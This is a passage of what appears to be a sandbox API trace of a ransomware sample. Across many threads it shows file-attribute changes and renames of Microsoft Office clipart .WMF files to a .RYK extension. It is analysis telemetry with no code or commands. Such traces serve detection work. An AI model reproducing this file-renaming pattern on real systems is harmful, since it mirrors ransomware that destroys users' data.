	[0250.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2920
	os_tid = 0x3304

	[0250.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF", dwFileAttributes=0x80) returned 0
	[0250.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.899] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2921
	os_tid = 0x3308

	[0250.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF", dwFileAttributes=0x80) returned 0
	[0250.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2922
	os_tid = 0x330c

	[0250.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF", dwFileAttributes=0x80) returned 0
	[0250.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2923
	os_tid = 0x3310

	[0250.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF", dwFileAttributes=0x80) returned 0
	[0250.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.904] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2924
	os_tid = 0x3314

	[0250.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF", dwFileAttributes=0x80) returned 0
	[0250.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.905] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2925
	os_tid = 0x3318

	[0251.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF", dwFileAttributes=0x80) returned 0
	[0251.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2926
	os_tid = 0x331c

	[0251.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF", dwFileAttributes=0x80) returned 0
	[0251.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2927
	os_tid = 0x3320

	[0251.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF", dwFileAttributes=0x80) returned 0
	[0251.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2928
	os_tid = 0x3324

	[0251.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF", dwFileAttributes=0x80) returned 0
	[0251.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2929
	os_tid = 0x3328

	[0251.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF", dwFileAttributes=0x80) returned 0
	[0251.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2930
	os_tid = 0x332c

	[0251.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF", dwFileAttributes=0x80) returned 0
	[0251.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.270] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2931
	os_tid = 0x3330

	[0251.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF", dwFileAttributes=0x80) returned 0
	[0251.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2932
	os_tid = 0x3334

	[0251.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF", dwFileAttributes=0x80) returned 0
	[0251.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2933
	os_tid = 0x3338

	[0251.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF", dwFileAttributes=0x80) returned 0
	[0251.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2934
	os_tid = 0x333c

	[0251.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF", dwFileAttributes=0x80) returned 0
	[0251.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2935
	os_tid = 0x3340

	[0251.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF", dwFileAttributes=0x80) returned 0
	[0251.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2936
	os_tid = 0x3344

	[0251.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF", dwFileAttributes=0x80) returned 0
	[0251.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2938
	os_tid = 0x334c

	[0251.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF", dwFileAttributes=0x80) returned 0
	[0251.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2939
	os_tid = 0x3350

	[0251.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF", dwFileAttributes=0x80) returned 0
	[0251.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2940
	os_tid = 0x3354

	[0251.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF", dwFileAttributes=0x80) returned 0
	[0251.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.563] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2941
	os_tid = 0x3358

	[0251.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF", dwFileAttributes=0x80) returned 0
	[0251.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2942
	os_tid = 0x335c

	[0251.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF", dwFileAttributes=0x80) returned 0
	[0251.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2943
	os_tid = 0x3360

	[0251.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF", dwFileAttributes=0x80) returned 0
	[0251.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2944
	os_tid = 0x3364

	[0251.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF", dwFileAttributes=0x80) returned 0
	[0251.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2945
	os_tid = 0x3368

	[0251.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF", dwFileAttributes=0x80) returned 0
	[0251.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2946
	os_tid = 0x336c

	[0251.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF", dwFileAttributes=0x80) returned 0
	[0251.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
